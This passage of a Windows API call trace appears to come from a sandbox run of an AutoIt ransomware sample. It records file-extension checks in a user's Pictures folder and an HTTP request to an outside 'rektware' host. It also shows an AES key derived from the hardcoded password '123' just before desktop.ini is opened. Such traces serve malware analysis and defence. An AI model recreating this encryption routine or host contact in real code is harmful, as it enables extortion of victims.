3 [0059.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.896] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0059.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0059.897] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0059.897] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0059.897] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0059.897] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0059.898] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0059.898] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0059.898] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0059.898] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0059.898] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d60, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d60, lpdwBufferLength=0x130ee1c) returned 1 [0059.898] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0059.898] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0059.898] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0059.899] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0059.899] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0059.899] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0059.899] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0059.899] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629520, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629520*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0059.899] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0059.899] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0059.899] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0059.899] CloseHandle (hObject=0x0) returned 0 [0059.899] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.900] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\desktop.ini", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0059.900] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0059.900] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.900] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0059.900] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.900] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0059.900] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0059.901] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.901] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0059.901] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.901] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.901] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0059.902] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.902] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.902] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.902] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.902] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.902] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0059.902] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0059.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e050, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0059.902] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0059.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0059.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0059.903] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0059.903] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17a9df0) returned 1 [0059.903] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.903] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.903] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0059.903] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.904] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.904] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.904] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.904] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.904] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0059.904] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.904] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0059.904] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0059.904] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.904] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.904] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.904] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0059.904] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.904] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.904] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0059.904] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.904] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0059.905] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0059.905] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.905] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.905] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0059.905] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0059.905] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0059.905] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0059.905] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.905] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.905] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.905] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.905] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0059.905] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.905] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0059.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0059.906] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0059.906] CryptCreateHash (in: hProv=0x17a9df0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0059.906] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.906] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.906] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.906] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0059.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293b0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0059.909] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0059.909] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0059.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0059.909] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.909] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.909] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.909] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0059.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621738, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0059.910] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0059.910] CryptHashData (hHash=0x164c970, pbData=0x1629400, dwDataLen=0x3, dwFlags=0x1) returned 1 [0059.910] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.910] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.910] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.910] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.910] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.910] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0059.910] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0059.910] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0059.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621768, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0059.911] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0059.911] CryptDeriveKey (in: hProv=0x17a9df0, Algid=0x6610, hBaseData=0x164c970, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c7f0) returned 1 [0059.911] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.911] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.911] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.911] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.911] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.911] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0059.911] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0059.911] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0059.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0059.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0059.912] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0059.912] CryptDestroyHash (hHash=0x164c970) returned 1 [0059.912] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0059.912] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.912] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.912] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.912] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.912] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 